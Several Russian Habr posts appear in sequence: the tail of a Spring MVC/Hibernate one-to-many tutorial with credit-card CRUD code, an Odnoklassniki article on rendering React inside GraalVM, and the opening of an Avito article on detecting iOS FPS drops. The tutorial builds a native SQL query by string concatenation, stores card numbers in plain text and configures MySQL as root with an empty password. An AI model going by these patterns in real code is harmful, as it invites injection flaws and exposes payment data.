// Retrieve session from Hibernate
Session session = sessionFactory.getCurrentSession();
// Retrieve existing credit card
CreditCard creditCard = (CreditCard) session.get(CreditCard.class, id);
// Persists to db
return creditCard;
}
/\*\*
\* Adds a new credit card
\*/
public void add(Integer personId, CreditCard creditCard) {
logger.debug("Adding new credit card");
// Retrieve session from Hibernate
Session session = sessionFactory.getCurrentSession();
// Persists to db
session.save(creditCard);
// Add to person as well
// Retrieve existing person via id
Person existingPerson = (Person) session.get(Person.class, personId);
// Assign updated values to this person
existingPerson.getCreditCards().add(creditCard);
// Save updates
session.save(existingPerson);
}
/\*\*
\* Deletes an existing credit card
\*/
public void delete(Integer id) {
logger.debug("Deleting existing credit card");
// Retrieve session from Hibernate
Session session = sessionFactory.getCurrentSession();
// Delete reference to foreign key credit card first
// We need a SQL query instead of HQL query here to access the third table
Query query = session.createSQLQuery("DELETE FROM PERSON\_CREDIT\_CARD " +
"WHERE creditCards\_ID="+id);
query.executeUpdate();
// Retrieve existing credit card
CreditCard creditCard = (CreditCard) session.get(CreditCard.class, id);
// Delete
session.delete(creditCard);
}
/\*\*
\* Edits an existing credit card
\*/
public void edit(CreditCard creditCard) {
logger.debug("Editing existing creditCard");
// Retrieve session from Hibernate
Session session = sessionFactory.getCurrentSession();
// Retrieve existing credit card via id
CreditCard existingCreditCard = (CreditCard) session.get(CreditCard.class, creditCard.getId());
// Assign updated values to this credit card
existingCreditCard.setNumber(creditCard.getNumber());
existingCreditCard.setType(creditCard.getType());
// Save updates
session.save(existingCreditCard);
}
}
```
Обратим особое внимание на метод delete():
**delete()**
```
public void delete(Integer id) {
logger.debug("Deleting existing credit card");
// Retrieve session from Hibernate
Session session = sessionFactory.getCurrentSession();
// Delete reference to foreign key credit card first
// We need a SQL query instead of HQL query here to access the third table
Query query = session.createSQLQuery("DELETE FROM PERSON_CREDIT_CARD " +
"WHERE creditCards_ID="+id);
query.executeUpdate();
// Retrieve existing credit card
CreditCard creditCard = (CreditCard) session.get(CreditCard.class, id);
// Delete
session.delete(creditCard);
}
```
Для удаления кредтки, вначале необходимо удалить ее из связующей таблицы, следующим запросом:
*Query query = session.createSQLQuery(«DELETE FROM PERSON\_CREDIT\_CARD » +
«WHERE creditCards\_ID=»+id);*
Обратите внимание, что связующая таблица создана Hibernate и запрос SQL, а не HQL.
После удаления данных из связующей таблицы, удаляем информацию из таблицы CREDIT\_CARD.
*session.delete(creditCard)*
*Слой контроллера.*
После создания сервисного и доменного слоев, необходимо создать слой контроллер. Мы создадим два контроллера: MainController и CreditCardController.
MainController
MainController отвечает за обработку запросов к записям лиц. Каждый CRUD запрос в конечном счете передается на PersonService, а затем возвращает соответствующую JSP страницу.
**MainController.java**
```
package org.krams.tutorial.controller;
import java.util.ArrayList;
import java.util.List;
import javax.annotation.Resource;
import org.apache.log4j.Logger;
import org.krams.tutorial.domain.Person;
import org.krams.tutorial.dto.PersonDTO;
import org.krams.tutorial.service.CreditCardService;
import org.krams.tutorial.service.PersonService;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
/**
* Handles person request
*
* @author Krams at {@link http://krams915@blogspot.com
*/
@Controller
@RequestMapping("/main/record")
public class MainController {
protected static Logger logger = Logger.getLogger("controller");
@Resource(name="personService")
private PersonService personService;
@Resource(name="creditCardService")
private CreditCardService creditCardService;
/**
* Retrieves the "Records" page
*/
@RequestMapping(value = "/list", method = RequestMethod.GET)
public String getRecords(Model model) {
logger.debug("Received request to show records page");
// Retrieve all persons
List persons = personService.getAll();
// Prepare model object
List personsDTO = new ArrayList();
for (Person person: persons) {
// Create new data transfer object
PersonDTO dto = new PersonDTO();
dto.setId(person.getId());
dto.setFirstName(person.getFirstName());
dto.setLastName(person.getLastName());
dto.setMoney(person.getMoney());
dto.setCreditCards(creditCardService.getAll(person.getId()));
// Add to model list
personsDTO.add(dto);
}
// Add to model
model.addAttribute("persons", personsDTO);
// This will resolve to /WEB-INF/jsp/records.jsp
return "records";
}
/\*\*
\* Retrieves the "Add New Record" page
\*/
@RequestMapping(value = "/add", method = RequestMethod.GET)
public String getAdd(Model model) {
logger.debug("Received request to show add page");
// Create new Person and add to model
model.addAttribute("personAttribute", new Person());
// This will resolve to /WEB-INF/jsp/add-record.jsp
return "add-record";
}
/\*\*
\* Adds a new record
\*/
@RequestMapping(value = "/add", method = RequestMethod.POST)
public String postAdd(@ModelAttribute("personAttribute") Person person) {
logger.debug("Received request to add new record");
// Delegate to service
personService.add(person);
// Redirect to url
return "redirect:/krams/main/record/list";
}
/\*\*
\* Deletes a record including all the associated credit cards
\*/
@RequestMapping(value = "/delete", method = RequestMethod.GET)
public String getDelete(@RequestParam("id") Integer personId) {
logger.debug("Received request to delete record");
// Delete person
personService.delete(personId);
// Redirect to url
return "redirect:/krams/main/record/list";
}
/\*\*
\* Retrieves the "Edit Existing Record" page
\*/
@RequestMapping(value = "/edit", method = RequestMethod.GET)
public String getEdit(@RequestParam("id") Integer personId, Model model) {
logger.debug("Received request to show edit page");
// Retrieve person by id
Person existingPerson = personService.get(personId);
// Add to model
model.addAttribute("personAttribute", existingPerson);
// This will resolve to /WEB-INF/jsp/edit-record.jsp
return "edit-record";
}
/\*\*
\* Edits an existing record
\*/
@RequestMapping(value = "/edit", method = RequestMethod.POST)
public String postEdit(@RequestParam("id") Integer personId,
@ModelAttribute("personAttribute") Person person) {
logger.debug("Received request to edit existing person");
// Assign id
person.setId(personId);
// Delegate to service
personService.edit(person);
// Redirect to url
return "redirect:/krams/main/record/list";
}
}
```
Обратите внимание, что метод getRecords() метод отображает Person и CreditCard как объект передачи данных: PersonDTO.
**getRecords()**
```
/**
* Retrieves the "Records" page
*/
@RequestMapping(value = "/list", method = RequestMethod.GET)
public String getRecords(Model model) {
logger.debug("Received request to show records page");
// Retrieve all persons
List persons = personService.getAll();
// Prepare model object
List personsDTO = new ArrayList();
for (Person person: persons) {
// Create new data transfer object
PersonDTO dto = new PersonDTO();
dto.setId(person.getId());
dto.setFirstName(person.getFirstName());
dto.setLastName(person.getLastName());
dto.setMoney(person.getMoney());
dto.setCreditCards(creditCardService.getAll(person.getId()));
// Add to model list
personsDTO.add(dto);
}
// Add to model
model.addAttribute("persons", personsDTO);
// This will resolve to /WEB-INF/jsp/records.jsp
return "records";
}
```
PersonDTO выступает в роли модели данных для records.jsp.
**PersonDTO.java**
```
package org.krams.tutorial.dto;
import java.util.List;
import org.krams.tutorial.domain.CreditCard;
/**
* Data Transfer Object for displaying purposes
*/
public class PersonDTO {
private Integer id;
private String firstName;
private String lastName;
private Double money;
private List creditCards;
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getFirstName() {
return firstName;
}
public void setFirstName(String firstName) {
this.firstName = firstName;
}
public String getLastName() {
return lastName;
}
public void setLastName(String lastName) {
this.lastName = lastName;
}
public Double getMoney() {
return money;
}
public void setMoney(Double money) {
this.money = money;
}
public List getCreditCards() {
return creditCards;
}
public void setCreditCards(List creditCards) {
this.creditCards = creditCards;
}
}
```
CreditCardController
CreditCardController отвечает за обработку запросов для кредиток. Мы не будем использовать все имеющиеся в этом контроллере методы, они были добавлены для полноты.
**CreditCardController.java**
```
package org.krams.tutorial.controller;
import javax.annotation.Resource;
import org.apache.log4j.Logger;
import org.krams.tutorial.domain.CreditCard;
import org.krams.tutorial.service.CreditCardService;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
/**
* Handles credit card requests
*
* @author Krams at {@link http://krams915@blogspot.com
*/
@Controller
@RequestMapping("/main/creditcard")
public class CreditCardController {
protected static Logger logger = Logger.getLogger("controller");
@Resource(name="creditCardService")
private CreditCardService creditCardService;
/**
* Retrieves the "Add New Credit Card" page
*/
@RequestMapping(value = "/add", method = RequestMethod.GET)
public String getAdd(@RequestParam("id") Integer personId, Model model) {
logger.debug("Received request to show add page");
// Prepare model object
CreditCard creditCard = new CreditCard();
// Add to model
model.addAttribute("personId", personId);
model.addAttribute("creditCardAttribute", creditCard);
// This will resolve to /WEB-INF/jsp/add-credit-card.jsp
return "add-credit-card";
}
/**
* Adds a new credit card
*/
@RequestMapping(value = "/add", method = RequestMethod.POST)
public String postAdd(@RequestParam("id") Integer personId,
@ModelAttribute("creditCardAttribute") CreditCard creditCard) {
logger.debug("Received request to add new credit card");
// Delegate to service
creditCardService.add(personId, creditCard);
// Redirect to url
return "redirect:/krams/main/record/list";
}
/**
* Deletes a credit card
*/
@RequestMapping(value = "/delete", method = RequestMethod.GET)
public String getDelete(@RequestParam("id") Integer creditCardId) {
logger.debug("Received request to delete credit card");
// Delegate to service
creditCardService.delete(creditCardId);
// Redirect to url
return "redirect:/krams/main/record/list";
}
/**
* Retrieves the "Edit Existing Credit Card" page
*/
@RequestMapping(value = "/edit", method = RequestMethod.GET)
public String getEdit(@RequestParam("pid") Integer personId,
@RequestParam("cid") Integer creditCardId, Model model) {
logger.debug("Received request to show edit page");
// Retrieve credit card by id
CreditCard existingCreditCard = creditCardService.get(creditCardId);
// Add to model
model.addAttribute("personId", personId);
model.addAttribute("creditCardAttribute", existingCreditCard);
// This will resolve to /WEB-INF/jsp/edit-credit-card.jsp
return "edit-credit-card";
}
/**
* Edits an existing credit card
*/
@RequestMapping(value = "/edit", method = RequestMethod.POST)
public String postEdit(@RequestParam("id") Integer creditCardId,
@ModelAttribute("creditCardAttribute") CreditCard creditCard) {
logger.debug("Received request to add new credit card");
// Assign id
creditCard.setId(creditCardId);
// Delegate to service
creditCardService.edit(creditCard);
// Redirect to url
return "redirect:/krams/main/record/list";
}
}
```
*VIEW слой.*
После обсуждения доменного, сервисного и слоя контроллера, создадим слой VIEW. Он состоит в основном из JSP страниц. Вот они:
**records.jsp**
```
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
Insert title here
Records
=======
| Id | First Name | Last Name | Money | | CC Type | CC Number | |
| --- | --- | --- | --- | --- | --- | --- | --- |
| | | | | | | | |
[+](${addCcUrl}) | | |
| | | | | | | N/A | N/A | [+](${addCcUrl}) | | |
No records found.
[Create new record](${addUrl})
```
Добавить новую запись
**add-record.jsp**
```
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<%@ taglib uri="http://www.springframework.org/tags/form" prefix="form" %>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
Insert title here
Create New Record
=================
| | |
| --- | --- |
| First Name: | |
| Last Name | |
| Money | |
```
Правка существующей записи:
**edit-record.jsp**
```
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<%@ taglib uri="http://www.springframework.org/tags/form" prefix="form" %>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
Insert title here
Edit Existing Record
====================
| | |
| --- | --- |
| Id: | |
| First Name: | |
| Last Name | |
| Money | |
```
Добавить новую кредитку:
**add-credit-card.jsp**
```
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<%@ taglib uri="http://www.springframework.org/tags/form" prefix="form" %>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
Insert title here
Add New Credit Card
===================
| | |
| --- | --- |
| Person Id: | |
| Type: | |
| Number: | |
```
Править существующую кредитку:
**edit-credit-card.jsp**
```
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<%@ taglib uri="http://www.springframework.org/tags/form" prefix="form" %>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
Insert title here
Edit Existing Credit Card
=========================
| | |
| --- | --- |
| Person Id: | |
| Type: | |
| Number: | |
```
*Конфигурация.*
Мы создали все необходимые Java классы. Следующий шаг — создать необходимые файлы конфигурации.
**web.xml**
```
xml version="1.0" encoding="UTF-8"?
spring
org.springframework.web.servlet.DispatcherServlet
1
spring
/krams/\*
org.springframework.web.context.ContextLoaderListener
```
**spring-servlet.xml**
```
xml version="1.0" encoding="UTF-8"?
```
**applicationContext.xml**
```
xml version="1.0" encoding="UTF-8"?
```
**hibernate-context.xml**
```
xml version="1.0" encoding="UTF-8"?
```
**hibernate.cfg.xml**
```
xml version="1.0" encoding="UTF-8"?
org.hibernate.dialect.MySQL5InnoDBDialect
true
create
```
**spring.properties**
```
# database properties
app.jdbc.driverClassName=com.mysql.jdbc.Driver
app.jdbc.url=jdbc:mysql://localhost/mydatabase
app.jdbc.username=root
app.jdbc.password=
#hibernate properties
hibernate.config=/WEB-INF/hibernate.cfg.xml
```
**Запуск приложения.**
Устанавливаем базу данных.
Наше приложение использует MySQL в качестве базы данных. Для запуска приложения убедитесь, что вы создали базу данных.
Для ее создания следуйте шагам:
1. Откройте phpmyadmin (или любую другую программу для работы с БД, которую вы предпочитаете)
2. Создаем новую базу данных mydatabase
3. Запускаем наше приложение, схему БД оно создаст автоматически.
Для проверки используете файл mydatabase.sql, расположенный в каталоге WEB\_INF нашего приложения.
Для доступа к приложению используйте URL:
[localhost](http://localhost):8080/spring-hibernate-one-to-many-default/krams/main/record/list
**Заключение**
Мы создали приложения Spring MVC используя отношение один-ко-многим и аннотации Hibernate. Так же мы обсудили проблемы связанные с установками по умолчанию для аннотации @OneToMany.
GIT: [github.com/sa4ek/spring-hibernate-one-to-many-default](https://github.com/sa4ek/spring-hibernate-one-to-many-default) | https://habr.com/ru/post/249073/ | null | ru | null |
# Новый фронтенд Одноклассников: запуск React в Java. Часть I
Многие слышали название GraalVM, но опробовать эту технологию в продакшене пока довелось не всем. Для Однокласснииков эта технология уже стала «священным Граалем», меняющим фронтенд.
В этой статье я хочу рассказать о том, как нам удалось подружить Java и JavaScript, и начать миграцию в огромной системе с большим количеством legacy-кода, а так же как на этом пути помогает GraalVM.
Во время написания статьи оказалось, что весь объём материала не влезает в традиционный для ХАБРа размер и если выложить публикацию целиком, то на её прочтение уйдет несколько часов. Поэтому мы решили разделить статью на 2 части.
Из первой части вы узнаете об истории фронтенда в Одноклассниках и познакомитесь с его историческими особенностями, пройдете путь поиска решения проблем, которые накопились у нас за 11 лет существования проекта, а в самом конце окунетесь в технические особенности серверной реализации принятого нами решения.
Предыстория
-----------
Первая версия Одноклассников появилась 13 лет назад, в 2006 году. Сайт был сделан на .NET, никакого JavaScript тогда на сайте не было, всё было на серверном рендеринге.
Через год у Одноклассников было свыше одного миллиона пользователей. В 2007 году это были невероятные цифры, и сайт, не выдержав нагрузки, начал падать. Разработчики решили проблему с помощью проекта One.lv, созданного латвийской компанией Forticom, у которой основные компетенции были в Java-разработке. Поэтому Одноклассники решено было переписать с .NET на Java.
Со временем проект развивался, и возникла необходимость в новых клиентских решениях. Например, чтобы при навигации сайт обновлялся не полностью, а только определенные части. Или чтобы при сабмите обновлялась только форма, а не вся страница. При этом сайт работал только на Java.
Для этого придумали систему, в которой сайт размечался именованными блоками. При переходе по навигации производился запрос на сервер, который принимал решение, о том что нужно поменять по этой ссылке, и клиенту отдавались нужные куски. Клиентский движок просто заменял нужные части, и так реализовывалась клиентская динамика. Очень удобно, потому что вся бизнес-логика находится на сервере. Небольшой движок позволил компании по-прежнему писать Java-код, управляющий клиентом.
Конечно, без минимального JavaScript было не обойтись. Чтобы сделать pop-up, нужны манипуляции: например, по наведению курсора на div вешался display:block или он скрывался с помощью display:none.
Но при этом содержимое поп-апа запрашивалось с сервера, вся бизнес-логика находилась там и была на Java.
2018
----
Спустя 12 лет Одноклассники превратились в гигантский сервис с более 70 миллионами пользователей. У нас больше 7 000 машин в 4 дата-центрах, и только на фронтенд OK.RU приходит 600 тысяч запросов в секунду.
Фронт-сервер Одноклассников продолжает работать на Java, а кодовая база одних только фронтов превышает два миллиона строк.
Технологии, реализуемые на клиентской стороне, тоже не стояли на месте: появилось много решений с использованием разных библиотек: GWT, jQuery, DotJs, RequireJS и многих других.
В тот период не были распространены стандарты вроде React, Angular и Vue, каждый разработчик пытался найти оптимальное решение, используя все доступные средства.
Стало понятно, что жить с этим очень трудно, потому что накопилось огромное количество проблем:
* Много старых библиотек
* Нет единого фреймворка
* Нет изоморфности (поскольку бэкенд на Java, клиент на JS)
* Нет единого структурированного приложения на клиенте
* Плохая отзывчивость
* Недостаточный инструментарий
* Высокий порог входа
В мире шел уже 2018-й год и необходимо было меняться.
Применив всю силу технической мысли, мы продумали и сформулировали четыре основных требования к решению проблем:
1. У Одноклассников должен быть изоморфный код для UI. Потому что невозможно постоянно писать сервер на Java, а потом, если необходимо добавить какую-то динамику, воспроизводить то же самое на клиенте.
2. Необходим плавный переход. Потому что быстро сделать вторую версию Одноклассников и переключиться невозможно
3. Обязательно нужен серверный рендеринг (Об этом ниже)
4. Новое решение, работая на том же количестве железа, не должно ухудшать производительность и отказоустойчивость при наших нагрузках
Почему серверный рендеринг?
---------------------------
У Одноклассников много пользователей, которые живут далеко от Москвы и у них не всегда хороший интернет.
Серверный рендеринг поможет таким пользователям быстрее получать контент. Пока картинки будут грузиться, они смогут начать что-то читать:
Мы провели ряд экспериментов, пытаясь понять что произойдёт, если какие-то данные (например, ленту) доставлять уже на клиенте, с ожиданием. В результате оказалось, что это негативно сказывалось на пользовательской активности.
Как работает сервер сейчас
--------------------------
Браузер делает запрос на сайт ОК, и попадает на приложение OK-WEB, которое целиком написано на Java. Приложение идет за данными в API. Между WEB и API реализован быстрый бинарный транспорт one-nio, разработанный в Одноклассниках. Запросы осуществляются менее чем за одну миллисекунду. Можете посмотреть, что это такое [отдельно](https://github.com/odnoklassniki/one-nio). One-nio позволяет дешево делать много запросов, не беспокоясь о задержках.
API достает данные, отдает вебу. Веб генерирует HTML-страницы движком на Java и отдает браузеру.
Все это занимает сейчас меньше 200 мс.
Поиск решения
-------------
Сперва была выработана концепция миграции, основанная на виджетах.
Приложения будут доставляться на сайт маленькими кусочками. Внутри они будут написаны на новом стеке. А для остального сайта это будет просто DOM-элемент с каким-то кастомным поведением.
Это будет похоже на тег : кастомный DOM-элемент с атрибутами, методами и событиями. В результате снаружи находится DOM API, а внутри реализуется функциональность виджета на новом стеке.
Какой стек выбрать?
-------------------
Теперь концепцию необходимо было реализовать, стали перебирать варианты.
### Kotlin
Первый прототип сделали на Kotlin. Идея заключалась в следующем: для новых компонентов писать логику на Kotlin, а разметку компонента описывать в XML. На сервере все можно запускать в JVM, используя существующий шаблонизатор, а для клиента транспайлить в JavaScript.
Помимо привнесения нового языка, с высоким порогом входа, у Kotlin оказался не достаточно развитый инструментарий работы с JavaScript, и пришлось бы многое дорабатывать самостоятельно.
Поэтому, к сожалению, от этой концепции пришлось отказаться.
### Node.js
Другой вариант — поставить Node.js или другой рантайм, например, Dart. Но что получится?
Использовать Node.js можно двумя способами.
Первый способ заключается в том, что бы делегировать отрисовку компонента серверу на Node.js запущенному на том же сервере, где и Java приложение. Таким образом мы сохраняем приложение на Java и просто в процессе отрисовки HTML делаем вызов к сервису локально запущенному на Node.js.
Однако, с этим подходом есть несколько проблем:
1. Удалённый вызов Node.js предполагает сериализацию/десериализацию входных данных. Эти данные могут быть весьма объёмными, например в случае, когда новый компонент на JS является обёрткой вокруг старого компонента, реализованного на Java.
2. Удалённый вызов, даже на локальной машине, является далеко не бесплатным, а также вносит дополнительную задержку. Если на странице будут десятки или сотни таких компонент, пусть даже очень простых, мы существенно увеличим накладные расходы и задержку на обработку запроса пользователя.
3. Кроме того существенно усложняется эксплуатации подобной системы, так как вместо одного процесса нам надо было бы иметь процесс на Java и несколько процессов на Node.js. Соотвественно все операции становятся намного сложнее, например: развёртывание, сбор операционных показателей, анализ логов, мониторинг ошибок и т.д.
Второй способ использования Node.js заключается в том, чтобы поставить его перед веб сервером на Java и использовать для пост-обработки HTML. Другими словами, это прокси, который разбирает HTML, находит компоненты на JS, отрисовывает их и возвращает пользователю готовый HTML. Вариант интересный, вроде бы универсальный и вполне рабочий. Недостатки такого подхода заключаются в том, что он требует основательного изменения всей инфраструктуры, существенно увеличивает накладные расходы и несёт в себе серьёзные риски – любой запрос должен проходить через Node.js, то есть мы начинам полностью от него зависеть. Это выглядит слишком дорогим решением для того, что бы решить нашу задачу.
Получается, Node.js нельзя использовать по следующим причинам:
* Сериализация/десериализация — это дополнительная нагрузка и задержки
* Node.js это еще один компонент в огромной распределенной системе Одноклассников
У нас уже работает много специалистов, знающих, как «готовить» Java, а теперь придется нанять штат сотрудников, которые будут эксплуатировать Node.js и в дополнение к существующей создать ещё одну инфраструктуру.
### JavaScript в JVM
А что если попробовать запустить JavaScript внутри JVM? Получится, что код на Java и JavaScript будет исполняться в одном процессе и взаимодействовать с минимумом накладных расходов.
Это позволит плавно заменять Java-куски на JavaScript внутри текущего WEB’а.
JS-компоненты будут получать данные из Java и формировать HTML. Они смогут изоморфно работать как на клиенте, так и на сервере.
**Но как запустить JS в JVM?**
Можно использовать V8 [по примеру Cloudflare](https://www.infoq.com/presentations/cloudflare-v8/). Но это — бинарный код, сторонний по отношению к Java. Поэтому в JVM невозможно будет отловить ошибки внутри V8. Любой креш V8 приведет к разрушению всего процесса. В результате использование V8 повысит риски эксплуатации, а этого допускать нельзя.
Для JVM существует несколько JS-рантаймов: два «носорога», Nashorn и Rhino (один от Oracle, другой от Mozilla) и свежий GraalVM.
Преимущества JS-рантаймов для JVM:
* Все работает в JVM, а у нас в этом большая экспертиза
* Бесплатное взаимодействие Java и JavaScript
* Безопасный рантайм
* Компилятор на Java в случае GraalVM
Дальше достаточно было сравнить по скорости эти рантаймы. Оказалось, что GraalVM всех опережает с большим отрывом:
Что такое GraalVM?
------------------
[GraalVM](https://www.graalvm.org/) это рантайм высокой производительности, который поддерживает программы на разных языках. В нем есть фреймворк для написания компиляторов языков для JVM. Благодаря этому поддерживается выполнение программ на Java, Kotlin, JS, Python и других языках внутри одной JVM.
Подробнее о возможностях GraalVM можно узнать из [доклада Олега Шелаева](https://www.youtube.com/watch?v=sKS4A9I8xb8), который работает в Oracle Labs, где разрабатывают GraalVM. Рекомендовано к посмотру бэкендерам и фронтендерам.
GraalVM позволяет нам запустить JS для рендеринга UI на сервере. В качестве библиотеки мы используем [React](https://ru.reactjs.org/).
Преимущества такой связки:
* Не добавляется новых языков: по-прежнему Java и JavaScript
* Большое сообщество: все знают React
* Низкий порог входа
* Легко искать коллег в команду
* Эксплуатация не усложнилась
Запуск React в GraalVM
----------------------
Внутри GraalVM можно создать Context — изолированный контейнер, в котором будет выполняться программа на гостевом языке. В нашем случае гостевым языком является JS:
```
Context context = Context.create("js");
// получаем global данного контекста
Value js = context.getBindings("js");
```
Для взаимодействия с контекстом используется его объект global:
```
// можно записать в global
js.putMember("serverProxy", serverProxy);
// можно читать из global
Value app = js.getMember("app");
```
В контекст можно загрузить код модуля:
```
// получаем метод загрузки кода
Value load = js.getMember("load");
// загружаем модуль в контекст
load.execute(pathToModule);
```
Или «за-eval-ить» там любой код:
```
context.eval("js", someCode);
```
Серверный рендеринг JS: концепт
-------------------------------
Создаем в JVM контекст JavaScript и загружаем в него код модуля приложения на React. Прокидываем из Java в JS нужные функции и методы. Затем из этого контекста извлекаем ссылку на JS функцию render() данного модуля, чтобы потом вызывать её из Java.
Когда пользователь запрашивает страницу, запускается серверный шаблонизатор, он вызывает функцию render() нужных компонент с необходимыми данными, получает из них HTML-код и отдает его вместе с HTML всей страницы пользователю.
Серверный рендеринг JS: реализация
----------------------------------
В серверном шаблонизаторе Одноклассников верстка написана в виде HTML-разметки. Для того чтобы отличить приложения на JS от обычной разметки мы используем кастомные теги.
Когда шаблонизатор встречает кастомный тег, то создается задача на рендеринг соответствующего модуля. Она отправляется в пул потоков, каждый из которых имеет свой JS-контекст, исполняется на свободном потоке, рендерит в нём компонент и отдает его клиенту.
### Зачем нужен пул контекстов
Рендеринг компонента происходит синхронно в одном потоке. На это время JS-контекст рендеринга занят. Поэтому, создав несколько независимых контекстов, можно распараллелить рендеринг компонентов, используя возможности многопоточности Java.
Java-функции получения данных передаются по ссылке в каждый контекст. В результате получается классный многопоточный JavaScript внутри одного процесса.
Как на этой концепции построена реализация клиентской части нового фронтенда, мы расскажем в следующей статье.
Продолжение: [habr.com/ru/company/odnoklassniki/blog/486810](https://habr.com/ru/company/odnoklassniki/blog/486810/) | https://habr.com/ru/post/480808/ | null | ru | null |
# FPS не падай, девайс не грейся
В октябре 2020 года в техническую поддержку Авито стали обращаться пользователи с проблемами нагрева девайса и просадками FPS вплоть до полного фриза iOS-приложения. Проблема, как казалось, была глобальной. Она не относилась к какой-то конкретной функциональности приложения и поэтому не подходила в бэклоги продуктовых команд. Выход был один: засучить рукава и самому разобраться, что пошло не так. Не даром же я performance engineer.
В статье я расскажу, как происходило погружение во тьму, выход из неё и к каким выводам это путешествие меня привело.
Сигналы из космоса
------------------
Жалобы на лаги в основном были связаны с экранами выдачи и карточки объявления. Это два самых популярных экрана в приложении. По статистике, если что-то происходит на них, то это происходит во всем приложении глобально. Неудивительно, что счётчик обращений быстро рос.
От одного из пользователей поддержка получила такое видео:
В глобальности крылась основная проблема лично для меня. Если всё так, то где искать баг в огромном приложении Авито? У нас больше 200 экранов, куча демонов, фоновых процессов, БД для мессенджера, логирование аналитики и это ещё не конец. Произойти могло что угодно и где угодно. Например, какой-то не удалившийся вовремя из памяти экран мог начать потреблять ресурсы процессора. Или что-то начинало бесконечно перерисовываться.
Вариантов рождалось бесконечное количество. Загвоздка в том, что воспроизвести проблему не получалось ни у меня, ни у коллег. В один момент мы даже пригласили в офис пользователя, чтобы воспроизвести и отдебажить лаги на его девайсе. Но из этой идеи ничего не вышло. Когда юзер оказался в офисе, всё работало как часы. Ha-ha, classic!
Я проверил все варианты, которые мог, чтобы воспроизвести проблему. Зависимости от типа девайса, сети, геолокации, версии оси и других факторов не было. При этом даже эпловые метрики `main thread hang time` от `MetricKit`, которые мы собираем в Графану, показывали неладное:
Что сделает перформанс-инженер в данном случае?
Просадка есть, а если найду?
----------------------------
Мне пришла в голову следующая идея. Команда перфоманса собирает множество различных метрик производительности приложения с продакшена, а также в Авито очень любят [A/B-тесты](https://habr.com/ru/company/avito/blog/571094/) и смотреть на метрики. Я решил воспользоваться протоптанной дорожкой и собрать ещё больше метрик для бога метрик. Вообще, у меня давно выработалось правило: *что-то не понял — собери больше метрик*! Когда собрал, можно проанализировать данные, понять, чего не хватает, и собрать ещё метрик. Перемешать и повторить.
В итоге план был такой:
1. Быстро на коленке собрать метрики о том, как часто происходят просадки.
2. Проверить, насколько много метрик набралось и как много просадок.
3. Подумать, как выйти на причину проблемы и собрать детальные метрики.
4. Повторять пункт 3, пока не появится ясность или мне не станет плохо.
Но как собрать нужные метрики? Как понять, что приложению стало плохо? Измерять загрузку CPU, следить за нагревом девайса, сделать вотчдог на мейн тред? В какую сторону бежать в первую очередь?
Ну, если проблема с FPS, то туда и стоит бежать, подумал я. Встроил в приложение демона — `FpsDrawdownTracker`*,* работающего [поверх DisplayLink](https://developer.apple.com/documentation/quartzcore/cadisplaylink). Он собирает статистику кадров за последние 30 секунд и, если FPS просаживается больше, чем на половину, генерирует событие, что FPS просажен.
Трешолд в половину выбирался рандомно, исходя из понимания, что он не должен быть слишком высоким, чтобы не создавать шума, и слишком низким, чтобы хоть что-то детектировать. Половина показалась здравым решением, ведь в нормальной жизни FPS не просаживается на 30 секунд так сильно. Как оказалось, этот выбор был удачным.
> Если можешь взять что-то рандомно и не грузить мозги — сделай так. Потом проанализируешь данные и разберёшься.
>
>
Так говорил во мне внутренний аналитик.
Важная особенность в реализации `FpsDrawdownTracker` — он должен сбрасывать статистику, когда приложение переходит в неактивное состояние, и начинать собирать её снова, когда оно становится активным. Иначе я бы намерял ложных просадок в неактивном состоянии и потом не мог бы их отфильтровать.
Ещё одна важная особенность — за один запуск приложения может произойти разное количество просадок или одна, но по длительности в несколько 30-секундных окон. Поэтому я логирую только первый факт просадки за сессию, а остальные игнорирую.
Логика подсчёта получилась такая:
1. `FpsDrawdownTracker` накапливает длины и тайминги кадров в течение секунды.
2. Получает FPS из накопленных кадров и кладёт результат в отдельный массив.
3. При накоплении 30 результатов измерения FPS (иначе 30 секунд) вычисляет среднее значение из них.
4. Проверяет, больше ли полученное среднее, чем трешолд — 30 FPS на девайсах c 60 FPS.
5. Если значение не больше трешолда, генерирует нон-фатал в Crashlytics.
Сделал, запушил, раскатил, включил тоггл на логирование.
За первую неделю раскатки нон-фаталы вышли на пик в 50 000 событий за сутки. Цифра внушительная даже для Авито. Для примера, топовый краш в приложении происходит примерно в 20 раз реже. А этот результат означал только одно: проблема точно есть, она глобальна, распространена, и нужно докопаться до её корней. Ну и плюс у меня был индикатор проблемности.
Нон-фаталы просадок FPS растутЗдесь начинается безумие
------------------------
Как понять, что именно приводит к просадке, если воспроизвести её никак не удаётся? Мой ответ вы уже знаете — добавить данных в метрики.
Мне до сих пор было непонятно, куда копать, поэтому я обложился всем, чем смог и начал слать в нон-фатал следующие данные в качестве кастомных ключей и значений:
1. Текущий FPS.
2. *Пробитый трешолд.*
3. Дефолтный — максимальный — FPS для девайса.
4. *Загрузку процессора в момент просадки.*
5. Количество тредов в приложении.
6. Информацию о исполняемых тредах.
Выглядело это так:
